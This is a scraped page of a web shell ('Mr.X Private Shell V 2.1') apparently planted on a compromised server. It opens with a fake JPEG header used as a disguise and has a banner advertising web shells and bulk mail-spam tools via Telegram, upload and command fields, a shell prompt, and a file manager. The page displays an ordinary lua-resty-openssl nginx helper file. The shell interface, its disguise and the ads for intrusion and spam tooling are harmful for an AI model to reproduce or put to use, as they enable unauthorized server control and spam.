����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
local ffi = require "ffi"
local C = ffi.C
local os = os

local SOCKET_CTX_INDEX = 1
local NGX_OK = ngx.OK


local get_req_ssl, get_req_ssl_ctx
local get_socket_ssl, get_socket_ssl_ctx

local get_request
do
  local ok, exdata = pcall(require, "thread.exdata")
  if ok and exdata then
    function get_request()
      local r = exdata()
      if r ~= nil then
          return r
      end
    end

  else
    local getfenv = getfenv

    function get_request()
      return getfenv(0).__ngx_req
    end
  end
end


local stream_subsystem = false
local get_sock_ssl

if ngx.config.subsystem == "stream" then
  stream_subsystem = true

  ffi.cdef [[
    typedef struct ngx_stream_lua_request_s ngx_stream_lua_request_t;
    typedef struct ngx_stream_lua_socket_tcp_upstream_s ngx_stream_lua_socket_tcp_upstream_t;

    int ngx_stream_lua_resty_openssl_aux_get_request_ssl(ngx_stream_lua_request_t *r,
        void **_ssl_conn);

    int ngx_stream_lua_resty_openssl_aux_get_request_ssl_ctx(ngx_stream_lua_request_t *r,
        void **_sess);

    int ngx_stream_lua_resty_openssl_aux_get_socket_ssl(ngx_stream_lua_socket_tcp_upstream_t *u,
        void **_ssl_conn);

    int ngx_stream_lua_resty_openssl_aux_get_socket_ssl_ctx(ngx_stream_lua_socket_tcp_upstream_t *u,
        void **_sess);

    int ngx_stream_lua_kong_get_socket_ssl(ngx_stream_lua_socket_tcp_upstream_t *u,
        void **ssl_conn);
  ]]

  local success
  if not os.getenv("CI_SKIP_KONG_SSL_FUNCS") then
    success, get_sock_ssl = pcall(function() return C.ngx_stream_lua_kong_get_socket_ssl end)
  end
  if not success or get_sock_ssl == nil then
    get_sock_ssl = C.ngx_stream_lua_resty_openssl_aux_get_socket_ssl
  end

else
  ffi.cdef [[
    typedef struct ngx_http_request_s ngx_http_request_t;
    typedef struct ngx_http_lua_socket_tcp_upstream_s ngx_http_lua_socket_tcp_upstream_t;

    int ngx_http_lua_resty_openssl_aux_get_request_ssl(ngx_http_request_t *r,
        void **_ssl_conn);

    int ngx_http_lua_resty_openssl_aux_get_request_ssl_ctx(ngx_http_request_t *r,
        void **_sess);

    int ngx_http_lua_resty_openssl_aux_get_socket_ssl(ngx_http_lua_socket_tcp_upstream_t *u,
        void **_ssl_conn);

    int ngx_http_lua_resty_openssl_aux_get_socket_ssl_ctx(ngx_http_lua_socket_tcp_upstream_t *u,
        void **_sess);

    int ngx_http_lua_kong_ffi_get_socket_ssl(ngx_http_lua_socket_tcp_upstream_t *u,
        void **ssl_conn);
  ]]

  local success
  if not os.getenv("CI_SKIP_KONG_SSL_FUNCS") then
    success, get_sock_ssl = pcall(function() return C.ngx_http_lua_kong_ffi_get_socket_ssl end)
  end
  if not success or get_sock_ssl == nil then
    get_sock_ssl = C.ngx_http_lua_resty_openssl_aux_get_socket_ssl
  end
end

local void_pp = ffi.new("void *[1]")
local ssl_type = ffi.typeof("SSL*")
local ssl_ctx_type = ffi.typeof("SSL_CTX*")

get_req_ssl = function()
  local c = get_request()

  local ret
  if stream_subsystem then
    ret = C.ngx_stream_lua_resty_openssl_aux_get_request_ssl(c, void_pp)
  else
    ret = C.ngx_http_lua_resty_openssl_aux_get_request_ssl(c, void_pp)
  end

  if ret ~= NGX_OK then
    return nil, "cannot read r->connection->ssl->connection"
  end

  return ffi.cast(ssl_type, void_pp[0])
end

get_req_ssl_ctx = function()
  local c = get_request()

  local ret
  if stream_subsystem then
    ret = C.ngx_stream_lua_resty_openssl_aux_get_request_ssl_ctx(c, void_pp)
  else
    ret = C.ngx_http_lua_resty_openssl_aux_get_request_ssl_ctx(c, void_pp)
  end

  if ret ~= NGX_OK then
    return nil, "cannot read r->connection->ssl->session_ctx"
  end

  return ffi.cast(ssl_ctx_type, void_pp[0])
end

get_socket_ssl = function(sock)
  local u = sock[SOCKET_CTX_INDEX]

  local ret = get_sock_ssl(u, void_pp)

  if ret ~= NGX_OK then
    return nil, "cannot read u->peer.connection->ssl->connection"
  end

  return ffi.cast(ssl_type, void_pp[0])
end

get_socket_ssl_ctx = function(sock)
  local u = sock[SOCKET_CTX_INDEX]

  local ret
  if stream_subsystem then
    ret = C.ngx_stream_lua_resty_openssl_aux_get_socket_ssl_ctx(u, void_pp)
  else
    ret = C.ngx_http_lua_resty_openssl_aux_get_socket_ssl_ctx(u, void_pp)
  end

  if ret ~= NGX_OK then
    return nil, "cannot read u->peer.connection->ssl->session_ctx"
  end

  return ffi.cast(ssl_ctx_type, void_pp[0])
end

return {
  get_req_ssl = get_req_ssl,
  get_req_ssl_ctx = get_req_ssl_ctx,
  get_socket_ssl = get_socket_ssl,
  get_socket_ssl_ctx = get_socket_ssl_ctx,
}

Filemanager

Name Type Size Permission Actions
bio.lua File 1.02 KB 0644
compat.lua File 1.51 KB 0644
ctypes.lua File 934 B 0644
ecdsa.lua File 3.58 KB 0644
jwk.lua File 13.63 KB 0644
nginx.lua File 10.38 KB 0644
nginx_c.lua File 4.35 KB 0644